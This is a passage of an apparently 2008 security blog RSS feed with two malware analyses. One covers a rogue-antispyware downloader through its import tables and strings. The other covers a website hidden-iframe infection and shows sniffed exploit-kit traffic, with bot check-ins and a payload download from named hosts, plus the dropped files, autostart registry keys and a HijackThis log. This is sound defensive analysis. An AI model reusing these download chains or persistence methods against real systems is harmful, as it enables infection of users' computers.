Solo Antivirus 	<span style="color: green;">Nothing found!</span><br />
Sophos 	<span style="color: green;">Nothing found!</span><br />
TrendMicro 	<span style="color: green;">Nothing found!</span><br />
VBA32 	<span style="color: red;">Trojan-Downloader.Win32.FraudLoad.vdjm</span><br />
VirusBuster 	<span style="color: green;">Nothing found!</span></p>
</blockquote>
<p><strong>Import Tables</strong>:</p>
<blockquote><p>KERNEL32.DLL<br />
+GetTempPathA<br />
+WaitForSingleObject<br />
+GetLocalTime<br />
+DisableThreadLibraryCalls<br />
+InterlockedDecrement<br />
+MoveFileExA<br />
+LeaveCriticalSection<br />
+EnterCriticalSection<br />
+lstrlenW<br />
+GetSystemDirectoryA<br />
+GetWindowsDirectoryA<br />
+GetModuleFileNameA<br />
+GetTickCount<br />
+DeleteCriticalSection<br />
+InitializeCriticalSection<br />
+SystemTimeToFileTime<br />
+GetFileAttributesA<br />
+GetModuleHandleA<br />
+FindResourceA<br />
+SizeofResource<br />
+GetLastError<br />
+WideCharToMultiByte<br />
+Sleep<br />
+lstrlenA<br />
+MultiByteToWideChar<br />
+CloseHandle<br />
+InterlockedIncrement<br />
ADVAPI32.dll<br />
+RegNotifyChangeKeyValue<br />
ATL.DLL<br />
GDI32.dll<br />
+GetDeviceCaps<br />
MSVCP60.dll<br />
+?_Xran@std@@YAXXZ<br />
+??1_Winit@std@@QAE@XZ<br />
+??0_Winit@std@@QAE@XZ<br />
+??1Init@ios_base@std@@QAE@XZ<br />
+??0Init@ios_base@std@@QAE@XZ<br />
+?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z<br />
+?rfind@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDII@Z<br />
+?_Freeze@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEXXZ<br />
+?replace@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PAD0PBD@Z<br />
+?resize@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z<br />
+?substr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV12@II@Z<br />
+?erase@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@II@Z<br />
+??0_Lockit@std@@QAE@XZ<br />
+??1_Lockit@std@@QAE@XZ<br />
+??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@0@Z<br />
+?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z<br />
+??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z<br />
+??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z<br />
+?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z<br />
+?find@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDII@Z<br />
+?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB<br />
+?_C@?1??_Nullstr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@CAPBDXZ@4DB<br />
+?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z<br />
+??9std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z<br />
+??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ<br />
+?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z<br />
MSVCRT.dll<br />
+_mbslwr<br />
+wcslen<br />
+_vsnprintf<br />
+strcat<br />
+memcmp<br />
+memmove<br />
+isspace<br />
+rand<br />
+memcpy<br />
+strtok<br />
+fclose<br />
+fread<br />
+fopen<br />
+fwrite<br />
+strrchr<br />
+strcmp<br />
+ftell<br />
+fseek<br />
+_beginthreadex<br />
+_purecall<br />
+_ftol<br />
+pow<br />
+strtol<br />
+__dllonexit<br />
+_strlwr<br />
+_onexit<br />
+_except_handler3<br />
+?terminate@@YAXXZ<br />
+_initterm<br />
+_adjust_fdiv<br />
+??2@YAPAXI@Z<br />
+__CxxFrameHandler<br />
+srand<br />
+free<br />
+strlen<br />
+strncpy<br />
+calloc<br />
ole32.dll<br />
+CoCreateInstance<br />
OLEAUT32.dll<br />
SHELL32.dll<br />
+ShellExecuteA<br />
USER32.dll<br />
+KillTimer</p>
</blockquote>
<p>And below there are some extracted strings:</p>
<blockquote><p>http://<br />
class=&#8221;title&#8221;<br />
text=<br />
gping=<br />
class=yschttl<br />
class=l<br />
n[keyword]<br />
c.php?id=<br />
http<br />
\TSoft<br />
Software<br />
\lt.res<br />
\sft.res<br />
open<br />
rundll32.exe<br />
%s,RunMain<br />
\sn.txt<br />
popurl<br />
DOWNLOAD<br />
clickreferer<br />
referer<br />
$number<br />
feed<br />
KEYS<br />
SECT<br />
%d.exe<br />
<strong>Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{32C620D6-CC10-4e6a-9715-BACACD5B0E61}</strong> ====&gt; <strong>here we can see that will install BHO</strong><br />
Systray component<br />
SOFTWARE\Microsoft\Active Setup\Installed Components\{A744F16C-B2D5-4138-81A2-085CDFCDE83A}<br />
WebProxy<br />
{A744F16C-B2D5-4138-81A2-085CDFCDE83A}<br />
SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad<br />
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects<br />
EulaAccepted<br />
Software\Sysinternals\Bluescreen Screen Saver<br />
iexplore.exe<br />
Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN<br />
explorer.exe<br />
F\bulksoft.ini<br />
btimeout<br />
mbinterval<br />
binterval<br />
mbcaption<br />
bcaption<br />
mburl<br />
burl<br />
mbtext<br />
btext<br />
PROM<br />
lang<br />
PSECT<br />
Software\AntispyKnight<br />
\sysin.scr<br />
_WSCLAS_<br />
InstallLanguage<br />
SYSTEM\CurrentControlSet\Control\Nls\Language<br />
Software\Microsoft\Active Setup\Installed Components\{A744F16C-B2D5-4138-81A2-085CDFCDE83A}<br />
Systray<br />
Software\Microsoft\Windows\CurrentVersion\Run<br />
rundll32.exe %s,RunMain<br />
Hookd<br />
YIHookWWW</p>
</blockquote>
<p>We can see 2 .EXE:</p>
<blockquote><p>iexplore.exe<br />
explorer.exe</p>
</blockquote>
<p>that probably are the .EXEs where the malware will inject the dll or other code.</p>
<p>We can see a reference to a registry key used to add keys to autostart a program:</p>
<blockquote><p>Software\Microsoft\Windows\CurrentVersion\Run</p>
</blockquote>
<p>We can see also a reference to a possible software that will be installed:</p>
<blockquote><p>Software\AntispyKnight</p>
</blockquote>
<p>and if we check also the detection name of:</p>
<blockquote><p>NOD32 v3 	<span style="color: red;">Win32/Adware.AntiSpyKing application</span><br />
VBA32 	<span style="color: red;">Trojan-Downloader.Win32.FraudLoad.vdjm</span></p>
</blockquote>
<p>We can maybe imagine that will be installed a rogue software in our computer that is possibly named as <strong>AntispyKnight</strong>.</p>
<p>Ok, this analysis end here : )</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.novirusthanks.org/2008/11/next-generation-of-rustock-variants/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website with hidden iframe and Malware Analysis</title>
		<link>http://blog.novirusthanks.org/2008/10/website-with-hidden-iframe-and-malware-analysis/</link>
		<comments>http://blog.novirusthanks.org/2008/10/website-with-hidden-iframe-and-malware-analysis/#comments</comments>
		<pubDate>Sun, 19 Oct 2008 21:19:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[controller.php]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[unknown_irp_handler]]></category>

		<guid isPermaLink="false">http://novirusthanks.org/blog/?p=35</guid>
		<description><![CDATA[All began this morning (16/10/2008) at 13:00am, I checked the HTML code of index.php and I saw something suspicious inside. Our index.php and 4 other .php pages were infected with an iframe from 11:00am to 13:00am, and fortunately we analyze the code of our site every 2/3 hours, and immediatly removed the infected code. &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>All began this morning (16/10/2008) at 13:00am, I checked the HTML code of index.php and I saw something suspicious inside. Our index.php and 4 other .php pages were infected with an iframe from 11:00am to 13:00am, and fortunately we analyze the code of our site every 2/3 hours, and immediatly removed the infected code.</p>
<p>&nbsp;</p>
<p>I decided to analyze the iframe code and used an old version of Internet Explorer 6.0, unpatched to make sure I got infected. I visited that iframe and after a few seconds a massive malware infection started, and my computer started connecting to a lot of different IPs.</p>
<p>&nbsp;</p>
<p>Here is result of the network traffic sniffed:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /in.cgi?id111 HTTP/1.1
Host: fstat.cn
Connection: Keep-Alive
&nbsp;
HTTP/1.1 302 Found
Location: hxxp://mmcounter.com/tds/in.cgi?default
&nbsp;
GET /tds/in.cgi?default HTTP/1.1
Accept-Language: en-us
Host: mmcounter.com
Connection: Keep-Alive
&nbsp;
HTTP/1.1 302 Found
Location: hxxp://lite.ff-freehosting.com/all/index.php
&nbsp;
GET /all/index.php HTTP/1.1
Host: lite.ff-freehosting.com
&nbsp;
HTTP/1.1 200 OK
Content-Length: 7880
&nbsp;
GET /all/controller.php?action=bot&amp;amp;entity_list=0 HTTP/1.1
Host: 66.232.116.2
&nbsp;
HTTP/1.1 200 OK
Content-Length: 397312
Entity-Info: 6:71168:2;10:41984:1;38:42496:2;44:57344:2;46:184320:2;
Rnd: 983332
Magic-Number: 32|0|85:214:242:0:116:131:195:213:214:77:222:73
&nbsp;
GET /all/load.php?id=45751&amp;amp;spl=5 HTTP/1.1
Host: lite.ff-freehosting.com
Connection: Keep-Alive
&nbsp;
HTTP/1.1 200 OK
Content-Disposition: inline; filename=load.exe
Content-Length: 17475
&nbsp;
GET /all/controller.php?action=bot&amp;amp;entity_list=&amp;amp;uid=2&amp;amp;first=1&amp;amp;guid=0&amp;amp;rnd=982735 HTTP/1.1
Host: 66.232.116.2
&nbsp;
HTTP/1.1 200 OK
Content-Length: 397312
Entity-Info: 6:71168:2;10:41984:1;38:42496:2;44:57344:2;46:184320:2;
Rnd: 983188
Magic-Number: 32|0|185:234:45:115:54:0:22:233:187:219:150
Connection: close</pre></td></tr></table></div>

<p>While internet traffic sniffer was active, the computer was infected with malware that was downloaded in Temp folder with the name <strong>winMN448Eewaoz.exe</strong> and after this file was executed, it dropped a file in C:\WINDOWS\system32\ with the name <strong>~.exe</strong>, that was downloaded via this GET query:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /all/load.php?id=45751&amp;amp;spl=5 HTTP/1.1</pre></td></tr></table></div>

<p>We can see the file load.php has a variable named <i>spl</i> with assigned the number <i>5</i> and we can assume it has loaded the payload for the exploit (aka sploit) number 5. Again we can assume this is an exploit kit that is serving more than 5 different exploits to infect an user.</p>
<p>&nbsp;</p>
<p>Here is a small analysis of that malware activity:</p>
<p>&nbsp;</p>
<ul>
<li>Downloaded in Temp Folder as winMN448Eewaoz.exe</li>
<li>Copyed in C:\WINDOWS\system32\~.exe</li>
<li>Injected code into svchost.exe</li>
<li>Opened remote connections with IP 66.232.116.2 on port 80</li>
</ul>
<p>&nbsp;</p>
<p>After some time others files were downloaded in my system. I started Rootkit Unhooker and I noticed some suspicious drivers in the Driver List that made me think of a possible stealth malware or rootkit activity.</p>
<p>&nbsp;</p>
<p>If you click properties on driver column of rnvrnrrv.sys you get the file is of 0 bytes&#8230; Why 0 bytes and no info on creation/modification etc. ?<br />
The kernel driver rnvrnrrv.sys is loaded and hidden from explorer search (seems that the driver hides every file with name *rnvrnrrv*). </p>
<p>&nbsp;</p>
<p>Below there are PE Import Table of rnvrnrrv.sys:</p>
<blockquote><p>
+NTOSKRNL.EXE<br />
ExAllocatePoolWithTag<br />
ExFreePoolWithTag<br />
ZwQuerySystemInformation<br />
RtlImageDirectoryEntryToData<br />
memcpy<br />
memset<br />
_except_handler3
</p></blockquote>
<p>Here is a list of all created files by the malware (there is no order):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\msauc.exe
C:\WINDOWS\system32\*randomnumber*.cpx
C:\WINDOWS\system32\*randomnumber*.dat
C:\WINDOWS\system32\wpv*randomnumber*.cpx
C:\WINDOWS\system32\msansspc.dll
%TempFolder%\winMN448Eewaoz.exe
%ProgramFiles%\xeifh\SetActAdm.dll
%ProgramFiles%\Internet Explorer\msansspc.dll
C:\WINDOWS\system32\drivers\rnvrnrrv.sys
C:\WINDOWS\system32\shell31.dll
C:\WINDOWS\system32\fqqtiaag.tmp
C:\WINDOWS\TDEZAALK.exe
%AllUsers%\Application Data\almrahwt\mbqlmfin.exe</pre></td></tr></table></div>

<p>The malware created following registry keys:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">HKLM\Software\Microsoft\Windows\CurrentVersion\Run\lsass driver
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\TDEZAALK
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\[51m3u05p5i]</pre></td></tr></table></div>

<p>This is a log file of HijackThis with the malware traces:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">Running processes:
C:\WINDOWS\system32\wpv286.cpx
%AllUsers%\Application Data\almrahwt\mbqlmfin.exe
&nbsp;
O4 - HKLM\..\Run: [lsass driver] C:\WINDOWS\msauc.exe
O4 - HKLM\..\Run: [TDEZAALK] %systemroot%\TDEZAALK.exe
O4 - HKCU\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\ctfmon.exe
O4 - HKLM\..\Policies\Explorer\Run: [51m3u05p5i] %AllUsers%\Application Data\almrahwt\mbqlmfin.exe
O21 - SSODL: SetActAdm - {002069A6-342F-036E-4AAB-03598A9EEFCE} - C:\Programmi\xeifh\SetActAdm.dll (file missing)
(SwPrvSchedule) - Unknown owner - C:\WINDOWS\system32\wpv5338.cpx.exe (file missing)</pre></td></tr></table></div>

<p>What can we do if our website is infected ?</p>
<p>&nbsp;</p>
<ul>
<li>Clean the infected HTML/PHP pages</li>
<li>Change username and password to the FTP Account</li>
<li>Change username and password to the Email Account</li>
<li>Change username and password to the SSH</li>
<li>Contact the server admin and explain your situation</li>
<li>Check your PHP files for possible vulnerabilities</li>
<li>Update all the installed software (blog, forum, etc)</li>
<li>Remember to never make backups from the website to your PC</li>
<li>Use always local backups for the website files</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.novirusthanks.org/2008/10/website-with-hidden-iframe-and-malware-analysis/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

